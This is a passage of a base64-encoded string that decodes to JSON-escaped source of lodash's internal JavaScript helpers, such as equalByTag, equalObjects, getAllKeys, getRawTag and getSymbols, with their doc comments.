3VzdG9taXplIGNvbXBhcmlzb25zLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGVxdWFsRnVuYyBUaGUgZnVuY3Rpb24gdG8gZGV0ZXJtaW5lIGVxdWl2YWxlbnRzIG9mIHZhbHVlcy5cbiAgICAgKiBAcGFyYW0ge09iamVjdH0gc3RhY2sgVHJhY2tzIHRyYXZlcnNlZCBgb2JqZWN0YCBhbmQgYG90aGVyYCBvYmplY3RzLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiB0aGUgb2JqZWN0cyBhcmUgZXF1aXZhbGVudCwgZWxzZSBgZmFsc2VgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGVxdWFsQnlUYWcob2JqZWN0LCBvdGhlciwgdGFnLCBiaXRtYXNrLCBjdXN0b21pemVyLCBlcXVhbEZ1bmMsIHN0YWNrKSB7XG4gICAgICBzd2l0Y2ggKHRhZykge1xuICAgICAgICBjYXNlIGRhdGFWaWV3VGFnOlxuICAgICAgICAgIGlmICgob2JqZWN0LmJ5dGVMZW5ndGggIT0gb3RoZXIuYnl0ZUxlbmd0aCkgfHxcbiAgICAgICAgICAgICAgKG9iamVjdC5ieXRlT2Zmc2V0ICE9IG90aGVyLmJ5dGVPZmZzZXQpKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgfVxuICAgICAgICAgIG9iamVjdCA9IG9iamVjdC5idWZmZXI7XG4gICAgICAgICAgb3RoZXIgPSBvdGhlci5idWZmZXI7XG5cbiAgICAgICAgY2FzZSBhcnJheUJ1ZmZlclRhZzpcbiAgICAgICAgICBpZiAoKG9iamVjdC5ieXRlTGVuZ3RoICE9IG90aGVyLmJ5dGVMZW5ndGgpIHx8XG4gICAgICAgICAgICAgICFlcXVhbEZ1bmMobmV3IFVpbnQ4QXJyYXkob2JqZWN0KSwgbmV3IFVpbnQ4QXJyYXkob3RoZXIpKSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgIH1cbiAgICAgICAgICByZXR1cm4gdHJ1ZTtcblxuICAgICAgICBjYXNlIGJvb2xUYWc6XG4gICAgICAgIGNhc2UgZGF0ZVRhZzpcbiAgICAgICAgY2FzZSBudW1iZXJUYWc6XG4gICAgICAgICAgLy8gQ29lcmNlIGJvb2xlYW5zIHRvIGAxYCBvciBgMGAgYW5kIGRhdGVzIHRvIG1pbGxpc2Vjb25kcy5cbiAgICAgICAgICAvLyBJbnZhbGlkIGRhdGVzIGFyZSBjb2VyY2VkIHRvIGBOYU5gLlxuICAgICAgICAgIHJldHVybiBlcSgrb2JqZWN0LCArb3RoZXIpO1xuXG4gICAgICAgIGNhc2UgZXJyb3JUYWc6XG4gICAgICAgICAgcmV0dXJuIG9iamVjdC5uYW1lID09IG90aGVyLm5hbWUgJiYgb2JqZWN0Lm1lc3NhZ2UgPT0gb3RoZXIubWVzc2FnZTtcblxuICAgICAgICBjYXNlIHJlZ2V4cFRhZzpcbiAgICAgICAgY2FzZSBzdHJpbmdUYWc6XG4gICAgICAgICAgLy8gQ29lcmNlIHJlZ2V4ZXMgdG8gc3RyaW5ncyBhbmQgdHJlYXQgc3RyaW5ncywgcHJpbWl0aXZlcyBhbmQgb2JqZWN0cyxcbiAgICAgICAgICAvLyBhcyBlcXVhbC4gU2VlIGh0dHA6Ly93d3cuZWNtYS1pbnRlcm5hdGlvbmFsLm9yZy9lY21hLTI2Mi83LjAvI3NlYy1yZWdleHAucHJvdG90eXBlLnRvc3RyaW5nXG4gICAgICAgICAgLy8gZm9yIG1vcmUgZGV0YWlscy5cbiAgICAgICAgICByZXR1cm4gb2JqZWN0ID09IChvdGhlciArICcnKTtcblxuICAgICAgICBjYXNlIG1hcFRhZzpcbiAgICAgICAgICB2YXIgY29udmVydCA9IG1hcFRvQXJyYXk7XG5cbiAgICAgICAgY2FzZSBzZXRUYWc6XG4gICAgICAgICAgdmFyIGlzUGFydGlhbCA9IGJpdG1hc2sgJiBDT01QQVJFX1BBUlRJQUxfRkxBRztcbiAgICAgICAgICBjb252ZXJ0IHx8IChjb252ZXJ0ID0gc2V0VG9BcnJheSk7XG5cbiAgICAgICAgICBpZiAob2JqZWN0LnNpemUgIT0gb3RoZXIuc2l6ZSAmJiAhaXNQYXJ0aWFsKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgfVxuICAgICAgICAgIC8vIEFzc3VtZSBjeWNsaWMgdmFsdWVzIGFyZSBlcXVhbC5cbiAgICAgICAgICB2YXIgc3RhY2tlZCA9IHN0YWNrLmdldChvYmplY3QpO1xuICAgICAgICAgIGlmIChzdGFja2VkKSB7XG4gICAgICAgICAgICByZXR1cm4gc3RhY2tlZCA9PSBvdGhlcjtcbiAgICAgICAgICB9XG4gICAgICAgICAgYml0bWFzayB8PSBDT01QQVJFX1VOT1JERVJFRF9GTEFHO1xuXG4gICAgICAgICAgLy8gUmVjdXJzaXZlbHkgY29tcGFyZSBvYmplY3RzIChzdXNjZXB0aWJsZSB0byBjYWxsIHN0YWNrIGxpbWl0cykuXG4gICAgICAgICAgc3RhY2suc2V0KG9iamVjdCwgb3RoZXIpO1xuICAgICAgICAgIHZhciByZXN1bHQgPSBlcXVhbEFycmF5cyhjb252ZXJ0KG9iamVjdCksIGNvbnZlcnQob3RoZXIpLCBiaXRtYXNrLCBjdXN0b21pemVyLCBlcXVhbEZ1bmMsIHN0YWNrKTtcbiAgICAgICAgICBzdGFja1snZGVsZXRlJ10ob2JqZWN0KTtcbiAgICAgICAgICByZXR1cm4gcmVzdWx0O1xuXG4gICAgICAgIGNhc2Ugc3ltYm9sVGFnOlxuICAgICAgICAgIGlmIChzeW1ib2xWYWx1ZU9mKSB7XG4gICAgICAgICAgICByZXR1cm4gc3ltYm9sVmFsdWVPZi5jYWxsKG9iamVjdCkgPT0gc3ltYm9sVmFsdWVPZi5jYWxsKG90aGVyKTtcbiAgICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQSBzcGVjaWFsaXplZCB2ZXJzaW9uIG9mIGBiYXNlSXNFcXVhbERlZXBgIGZvciBvYmplY3RzIHdpdGggc3VwcG9ydCBmb3JcbiAgICAgKiBwYXJ0aWFsIGRlZXAgY29tcGFyaXNvbnMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBjb21wYXJlLlxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvdGhlciBUaGUgb3RoZXIgb2JqZWN0IHRvIGNvbXBhcmUuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IGJpdG1hc2sgVGhlIGJpdG1hc2sgZmxhZ3MuIFNlZSBgYmFzZUlzRXF1YWxgIGZvciBtb3JlIGRldGFpbHMuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gY3VzdG9taXplciBUaGUgZnVuY3Rpb24gdG8gY3VzdG9taXplIGNvbXBhcmlzb25zLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGVxdWFsRnVuYyBUaGUgZnVuY3Rpb24gdG8gZGV0ZXJtaW5lIGVxdWl2YWxlbnRzIG9mIHZhbHVlcy5cbiAgICAgKiBAcGFyYW0ge09iamVjdH0gc3RhY2sgVHJhY2tzIHRyYXZlcnNlZCBgb2JqZWN0YCBhbmQgYG90aGVyYCBvYmplY3RzLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiB0aGUgb2JqZWN0cyBhcmUgZXF1aXZhbGVudCwgZWxzZSBgZmFsc2VgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGVxdWFsT2JqZWN0cyhvYmplY3QsIG90aGVyLCBiaXRtYXNrLCBjdXN0b21pemVyLCBlcXVhbEZ1bmMsIHN0YWNrKSB7XG4gICAgICB2YXIgaXNQYXJ0aWFsID0gYml0bWFzayAmIENPTVBBUkVfUEFSVElBTF9GTEFHLFxuICAgICAgICAgIG9ialByb3BzID0gZ2V0QWxsS2V5cyhvYmplY3QpLFxuICAgICAgICAgIG9iakxlbmd0aCA9IG9ialByb3BzLmxlbmd0aCxcbiAgICAgICAgICBvdGhQcm9wcyA9IGdldEFsbEtleXMob3RoZXIpLFxuICAgICAgICAgIG90aExlbmd0aCA9IG90aFByb3BzLmxlbmd0aDtcblxuICAgICAgaWYgKG9iakxlbmd0aCAhPSBvdGhMZW5ndGggJiYgIWlzUGFydGlhbCkge1xuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICB9XG4gICAgICB2YXIgaW5kZXggPSBvYmpMZW5ndGg7XG4gICAgICB3aGlsZSAoaW5kZXgtLSkge1xuICAgICAgICB2YXIga2V5ID0gb2JqUHJvcHNbaW5kZXhdO1xuICAgICAgICBpZiAoIShpc1BhcnRpYWwgPyBrZXkgaW4gb3RoZXIgOiBoYXNPd25Qcm9wZXJ0eS5jYWxsKG90aGVyLCBrZXkpKSkge1xuICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgLy8gQ2hlY2sgdGhhdCBjeWNsaWMgdmFsdWVzIGFyZSBlcXVhbC5cbiAgICAgIHZhciBvYmpTdGFja2VkID0gc3RhY2suZ2V0KG9iamVjdCk7XG4gICAgICB2YXIgb3RoU3RhY2tlZCA9IHN0YWNrLmdldChvdGhlcik7XG4gICAgICBpZiAob2JqU3RhY2tlZCAmJiBvdGhTdGFja2VkKSB7XG4gICAgICAgIHJldHVybiBvYmpTdGFja2VkID09IG90aGVyICYmIG90aFN0YWNrZWQgPT0gb2JqZWN0O1xuICAgICAgfVxuICAgICAgdmFyIHJlc3VsdCA9IHRydWU7XG4gICAgICBzdGFjay5zZXQob2JqZWN0LCBvdGhlcik7XG4gICAgICBzdGFjay5zZXQob3RoZXIsIG9iamVjdCk7XG5cbiAgICAgIHZhciBza2lwQ3RvciA9IGlzUGFydGlhbDtcbiAgICAgIHdoaWxlICgrK2luZGV4IDwgb2JqTGVuZ3RoKSB7XG4gICAgICAgIGtleSA9IG9ialByb3BzW2luZGV4XTtcbiAgICAgICAgdmFyIG9ialZhbHVlID0gb2JqZWN0W2tleV0sXG4gICAgICAgICAgICBvdGhWYWx1ZSA9IG90aGVyW2tleV07XG5cbiAgICAgICAgaWYgKGN1c3RvbWl6ZXIpIHtcbiAgICAgICAgICB2YXIgY29tcGFyZWQgPSBpc1BhcnRpYWxcbiAgICAgICAgICAgID8gY3VzdG9taXplcihvdGhWYWx1ZSwgb2JqVmFsdWUsIGtleSwgb3RoZXIsIG9iamVjdCwgc3RhY2spXG4gICAgICAgICAgICA6IGN1c3RvbWl6ZXIob2JqVmFsdWUsIG90aFZhbHVlLCBrZXksIG9iamVjdCwgb3RoZXIsIHN0YWNrKTtcbiAgICAgICAgfVxuICAgICAgICAvLyBSZWN1cnNpdmVseSBjb21wYXJlIG9iamVjdHMgKHN1c2NlcHRpYmxlIHRvIGNhbGwgc3RhY2sgbGltaXRzKS5cbiAgICAgICAgaWYgKCEoY29tcGFyZWQgPT09IHVuZGVmaW5lZFxuICAgICAgICAgICAgICA/IChvYmpWYWx1ZSA9PT0gb3RoVmFsdWUgfHwgZXF1YWxGdW5jKG9ialZhbHVlLCBvdGhWYWx1ZSwgYml0bWFzaywgY3VzdG9taXplciwgc3RhY2spKVxuICAgICAgICAgICAgICA6IGNvbXBhcmVkXG4gICAgICAgICAgICApKSB7XG4gICAgICAgICAgcmVzdWx0ID0gZmFsc2U7XG4gICAgICAgICAgYnJlYWs7XG4gICAgICAgIH1cbiAgICAgICAgc2tpcEN0b3IgfHwgKHNraXBDdG9yID0ga2V5ID09ICdjb25zdHJ1Y3RvcicpO1xuICAgICAgfVxuICAgICAgaWYgKHJlc3VsdCAmJiAhc2tpcEN0b3IpIHtcbiAgICAgICAgdmFyIG9iakN0b3IgPSBvYmplY3QuY29uc3RydWN0b3IsXG4gICAgICAgICAgICBvdGhDdG9yID0gb3RoZXIuY29uc3RydWN0b3I7XG5cbiAgICAgICAgLy8gTm9uIGBPYmplY3RgIG9iamVjdCBpbnN0YW5jZXMgd2l0aCBkaWZmZXJlbnQgY29uc3RydWN0b3JzIGFyZSBub3QgZXF1YWwuXG4gICAgICAgIGlmIChvYmpDdG9yICE9IG90aEN0b3IgJiZcbiAgICAgICAgICAgICgnY29uc3RydWN0b3InIGluIG9iamVjdCAmJiAnY29uc3RydWN0b3InIGluIG90aGVyKSAmJlxuICAgICAgICAgICAgISh0eXBlb2Ygb2JqQ3RvciA9PSAnZnVuY3Rpb24nICYmIG9iakN0b3IgaW5zdGFuY2VvZiBvYmpDdG9yICYmXG4gICAgICAgICAgICAgIHR5cGVvZiBvdGhDdG9yID09ICdmdW5jdGlvbicgJiYgb3RoQ3RvciBpbnN0YW5jZW9mIG90aEN0b3IpKSB7XG4gICAgICAgICAgcmVzdWx0ID0gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIHN0YWNrWydkZWxldGUnXShvYmplY3QpO1xuICAgICAgc3RhY2tbJ2RlbGV0ZSddKG90aGVyKTtcbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQSBzcGVjaWFsaXplZCB2ZXJzaW9uIG9mIGBiYXNlUmVzdGAgd2hpY2ggZmxhdHRlbnMgdGhlIHJlc3QgYXJyYXkuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGFwcGx5IGEgcmVzdCBwYXJhbWV0ZXIgdG8uXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgZnVuY3Rpb24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gZmxhdFJlc3QoZnVuYykge1xuICAgICAgcmV0dXJuIHNldFRvU3RyaW5nKG92ZXJSZXN0KGZ1bmMsIHVuZGVmaW5lZCwgZmxhdHRlbiksIGZ1bmMgKyAnJyk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiBvd24gZW51bWVyYWJsZSBwcm9wZXJ0eSBuYW1lcyBhbmQgc3ltYm9scyBvZiBgb2JqZWN0YC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIHF1ZXJ5LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgYXJyYXkgb2YgcHJvcGVydHkgbmFtZXMgYW5kIHN5bWJvbHMuXG4gICAgICovXG4gICAgZnVuY3Rpb24gZ2V0QWxsS2V5cyhvYmplY3QpIHtcbiAgICAgIHJldHVybiBiYXNlR2V0QWxsS2V5cyhvYmplY3QsIGtleXMsIGdldFN5bWJvbHMpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYW4gYXJyYXkgb2Ygb3duIGFuZCBpbmhlcml0ZWQgZW51bWVyYWJsZSBwcm9wZXJ0eSBuYW1lcyBhbmRcbiAgICAgKiBzeW1ib2xzIG9mIGBvYmplY3RgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gcXVlcnkuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBhcnJheSBvZiBwcm9wZXJ0eSBuYW1lcyBhbmQgc3ltYm9scy5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBnZXRBbGxLZXlzSW4ob2JqZWN0KSB7XG4gICAgICByZXR1cm4gYmFzZUdldEFsbEtleXMob2JqZWN0LCBrZXlzSW4sIGdldFN5bWJvbHNJbik7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogR2V0cyBtZXRhZGF0YSBmb3IgYGZ1bmNgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byBxdWVyeS5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgbWV0YWRhdGEgZm9yIGBmdW5jYC5cbiAgICAgKi9cbiAgICB2YXIgZ2V0RGF0YSA9ICFtZXRhTWFwID8gbm9vcCA6IGZ1bmN0aW9uKGZ1bmMpIHtcbiAgICAgIHJldHVybiBtZXRhTWFwLmdldChmdW5jKTtcbiAgICB9O1xuXG4gICAgLyoqXG4gICAgICogR2V0cyB0aGUgbmFtZSBvZiBgZnVuY2AuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIHF1ZXJ5LlxuICAgICAqIEByZXR1cm5zIHtzdHJpbmd9IFJldHVybnMgdGhlIGZ1bmN0aW9uIG5hbWUuXG4gICAgICovXG4gICAgZnVuY3Rpb24gZ2V0RnVuY05hbWUoZnVuYykge1xuICAgICAgdmFyIHJlc3VsdCA9IChmdW5jLm5hbWUgKyAnJyksXG4gICAgICAgICAgYXJyYXkgPSByZWFsTmFtZXNbcmVzdWx0XSxcbiAgICAgICAgICBsZW5ndGggPSBoYXNPd25Qcm9wZXJ0eS5jYWxsKHJlYWxOYW1lcywgcmVzdWx0KSA/IGFycmF5Lmxlbmd0aCA6IDA7XG5cbiAgICAgIHdoaWxlIChsZW5ndGgtLSkge1xuICAgICAgICB2YXIgZGF0YSA9IGFycmF5W2xlbmd0aF0sXG4gICAgICAgICAgICBvdGhlckZ1bmMgPSBkYXRhLmZ1bmM7XG4gICAgICAgIGlmIChvdGhlckZ1bmMgPT0gbnVsbCB8fCBvdGhlckZ1bmMgPT0gZnVuYykge1xuICAgICAgICAgIHJldHVybiBkYXRhLm5hbWU7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogR2V0cyB0aGUgYXJndW1lbnQgcGxhY2Vob2xkZXIgdmFsdWUgZm9yIGBmdW5jYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZnVuYyBUaGUgZnVuY3Rpb24gdG8gaW5zcGVjdC5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgcGxhY2Vob2xkZXIgdmFsdWUuXG4gICAgICovXG4gICAgZnVuY3Rpb24gZ2V0SG9sZGVyKGZ1bmMpIHtcbiAgICAgIHZhciBvYmplY3QgPSBoYXNPd25Qcm9wZXJ0eS5jYWxsKGxvZGFzaCwgJ3BsYWNlaG9sZGVyJykgPyBsb2Rhc2ggOiBmdW5jO1xuICAgICAgcmV0dXJuIG9iamVjdC5wbGFjZWhvbGRlcjtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBHZXRzIHRoZSBhcHByb3ByaWF0ZSBcIml0ZXJhdGVlXCIgZnVuY3Rpb24uIElmIGBfLml0ZXJhdGVlYCBpcyBjdXN0b21pemVkLFxuICAgICAqIHRoaXMgZnVuY3Rpb24gcmV0dXJucyB0aGUgY3VzdG9tIG1ldGhvZCwgb3RoZXJ3aXNlIGl0IHJldHVybnMgYGJhc2VJdGVyYXRlZWAuXG4gICAgICogSWYgYXJndW1lbnRzIGFyZSBwcm92aWRlZCwgdGhlIGNob3NlbiBmdW5jdGlvbiBpcyBpbnZva2VkIHdpdGggdGhlbSBhbmRcbiAgICAgKiBpdHMgcmVzdWx0IGlzIHJldHVybmVkLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0geyp9IFt2YWx1ZV0gVGhlIHZhbHVlIHRvIGNvbnZlcnQgdG8gYW4gaXRlcmF0ZWUuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFthcml0eV0gVGhlIGFyaXR5IG9mIHRoZSBjcmVhdGVkIGl0ZXJhdGVlLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgY2hvc2VuIGZ1bmN0aW9uIG9yIGl0cyByZXN1bHQuXG4gICAgICovXG4gICAgZnVuY3Rpb24gZ2V0SXRlcmF0ZWUoKSB7XG4gICAgICB2YXIgcmVzdWx0ID0gbG9kYXNoLml0ZXJhdGVlIHx8IGl0ZXJhdGVlO1xuICAgICAgcmVzdWx0ID0gcmVzdWx0ID09PSBpdGVyYXRlZSA/IGJhc2VJdGVyYXRlZSA6IHJlc3VsdDtcbiAgICAgIHJldHVybiBhcmd1bWVudHMubGVuZ3RoID8gcmVzdWx0KGFyZ3VtZW50c1swXSwgYXJndW1lbnRzWzFdKSA6IHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBHZXRzIHRoZSBkYXRhIGZvciBgbWFwYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG1hcCBUaGUgbWFwIHRvIHF1ZXJ5LlxuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBrZXkgVGhlIHJlZmVyZW5jZSBrZXkuXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIG1hcCBkYXRhLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGdldE1hcERhdGEobWFwLCBrZXkpIHtcbiAgICAgIHZhciBkYXRhID0gbWFwLl9fZGF0YV9fO1xuICAgICAgcmV0dXJuIGlzS2V5YWJsZShrZXkpXG4gICAgICAgID8gZGF0YVt0eXBlb2Yga2V5ID09ICdzdHJpbmcnID8gJ3N0cmluZycgOiAnaGFzaCddXG4gICAgICAgIDogZGF0YS5tYXA7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogR2V0cyB0aGUgcHJvcGVydHkgbmFtZXMsIHZhbHVlcywgYW5kIGNvbXBhcmUgZmxhZ3Mgb2YgYG9iamVjdGAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBxdWVyeS5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG1hdGNoIGRhdGEgb2YgYG9iamVjdGAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gZ2V0TWF0Y2hEYXRhKG9iamVjdCkge1xuICAgICAgdmFyIHJlc3VsdCA9IGtleXMob2JqZWN0KSxcbiAgICAgICAgICBsZW5ndGggPSByZXN1bHQubGVuZ3RoO1xuXG4gICAgICB3aGlsZSAobGVuZ3RoLS0pIHtcbiAgICAgICAgdmFyIGtleSA9IHJlc3VsdFtsZW5ndGhdLFxuICAgICAgICAgICAgdmFsdWUgPSBvYmplY3Rba2V5XTtcblxuICAgICAgICByZXN1bHRbbGVuZ3RoXSA9IFtrZXksIHZhbHVlLCBpc1N0cmljdENvbXBhcmFibGUodmFsdWUpXTtcbiAgICAgIH1cbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogR2V0cyB0aGUgbmF0aXZlIGZ1bmN0aW9uIGF0IGBrZXlgIG9mIGBvYmplY3RgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gcXVlcnkuXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IGtleSBUaGUga2V5IG9mIHRoZSBtZXRob2QgdG8gZ2V0LlxuICAgICAqIEByZXR1cm5zIHsqfSBSZXR1cm5zIHRoZSBmdW5jdGlvbiBpZiBpdCdzIG5hdGl2ZSwgZWxzZSBgdW5kZWZpbmVkYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBnZXROYXRpdmUob2JqZWN0LCBrZXkpIHtcbiAgICAgIHZhciB2YWx1ZSA9IGdldFZhbHVlKG9iamVjdCwga2V5KTtcbiAgICAgIHJldHVybiBiYXNlSXNOYXRpdmUodmFsdWUpID8gdmFsdWUgOiB1bmRlZmluZWQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQSBzcGVjaWFsaXplZCB2ZXJzaW9uIG9mIGBiYXNlR2V0VGFnYCB3aGljaCBpZ25vcmVzIGBTeW1ib2wudG9TdHJpbmdUYWdgIHZhbHVlcy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gcXVlcnkuXG4gICAgICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgcmF3IGB0b1N0cmluZ1RhZ2AuXG4gICAgICovXG4gICAgZnVuY3Rpb24gZ2V0UmF3VGFnKHZhbHVlKSB7XG4gICAgICB2YXIgaXNPd24gPSBoYXNPd25Qcm9wZXJ0eS5jYWxsKHZhbHVlLCBzeW1Ub1N0cmluZ1RhZyksXG4gICAgICAgICAgdGFnID0gdmFsdWVbc3ltVG9TdHJpbmdUYWddO1xuXG4gICAgICB0cnkge1xuICAgICAgICB2YWx1ZVtzeW1Ub1N0cmluZ1RhZ10gPSB1bmRlZmluZWQ7XG4gICAgICAgIHZhciB1bm1hc2tlZCA9IHRydWU7XG4gICAgICB9IGNhdGNoIChlKSB7fVxuXG4gICAgICB2YXIgcmVzdWx0ID0gbmF0aXZlT2JqZWN0VG9TdHJpbmcuY2FsbCh2YWx1ZSk7XG4gICAgICBpZiAodW5tYXNrZWQpIHtcbiAgICAgICAgaWYgKGlzT3duKSB7XG4gICAgICAgICAgdmFsdWVbc3ltVG9TdHJpbmdUYWddID0gdGFnO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIGRlbGV0ZSB2YWx1ZVtzeW1Ub1N0cmluZ1RhZ107XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiB0aGUgb3duIGVudW1lcmFibGUgc3ltYm9scyBvZiBgb2JqZWN0YC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIHF1ZXJ5LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgYXJyYXkgb2Ygc3ltYm9scy5cbiAgICAgKi9cbiAgICB2YXIgZ2V0U3ltYm9scyA9ICFuYXRpdmVHZXRTeW1ib2xzID8gc3R1YkFycmF5IDogZnVuY3Rpb24ob2JqZWN0KSB7XG4gICAgICBpZiAob2JqZWN0ID09IG51bGwpIHtcbiAgICAgICAgcmV0dXJuIFtdO1xuICAgICAgfVxuICAgICAgb2JqZWN0ID0gT2JqZWN0KG9iamVjdCk7XG4gICAgICByZXR1cm4gYXJyYXlGaWx0ZXIobmF0aXZlR2V0U3ltYm9scyhvYmplY3QpLCBmdW5jdGlvbihzeW1ib2wpIHtcbiAgICAgICAgcmV0dXJuIHByb3BlcnR5SXNFbnVtZXJhYmxlLmNhbGwob2JqZWN0LCBzeW1ib2wpO1xuICAgICAgfSk7XG4gICAgfTtcblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYW4gYXJyYXkgb2YgdGhlIG93biBhbmQgaW5oZXJpdGVkIGVudW1lcmFibGUgc3ltYm9scyBvZiBgb2JqZWN0YC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIHF1ZXJ5LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgYXJyYXkgb2Ygc3ltYm9scy5cbiAgICAgKi9cbiAgICB2YXIgZ2V0U3ltYm9sc0luID0gIW5hdGl2ZUdldFN5bWJvbHMgPyBzdHViQXJyYXkgOiBmdW5jdGlvbihvYmplY3QpIHtcbiAgICAgIHZhciByZXN1bHQgPSBbXTtcbiAgICAgIHdoaWxlIChvYmplY3QpIHtcbiAgICAgICAgYXJyYXlQdXNoKHJlc3VsdCwgZ2V0U3ltYm9scyhvYmplY3QpKTtcbiAgICAgICAgb2JqZWN0ID0gZ2V0UHJvdG90eXBlKG9iamVjdCk7XG4gICAgICB9XG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH07XG5cbiAgICAvKipcbiAgICAgKiBHZXRzIHRoZSBgdG9TdHJpbmdUYWdgIG9mIGB2YWx1ZWAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIHF1ZXJ5LlxuICAgICAqIEByZXR1cm5zIHtzdHJpbmd9IFJldHVybnMgdGhlIGB0b1N0cmluZ1RhZ2AuXG4gICAgICovXG4gICAgdmFyIGdldFRhZyA9IGJhc2VHZXRUYWc7XG5cbiAgICAvLyBGYWxsYmFjayBmb3IgZGF0YSB2aWV3cywgbWFwcywgc2V0cywgYW5kIHdlYWsgbWFwcyBpbiBJRSAxMSBhbmQgcHJvbWlzZXMgaW4gTm9kZS5qcyA8IDYuXG4gICAgaWYgKChEYXRhVmlldyAmJiBnZXRUYWcobmV3IERhdGFWaWV3KG5ldyBBcnJheUJ1Zm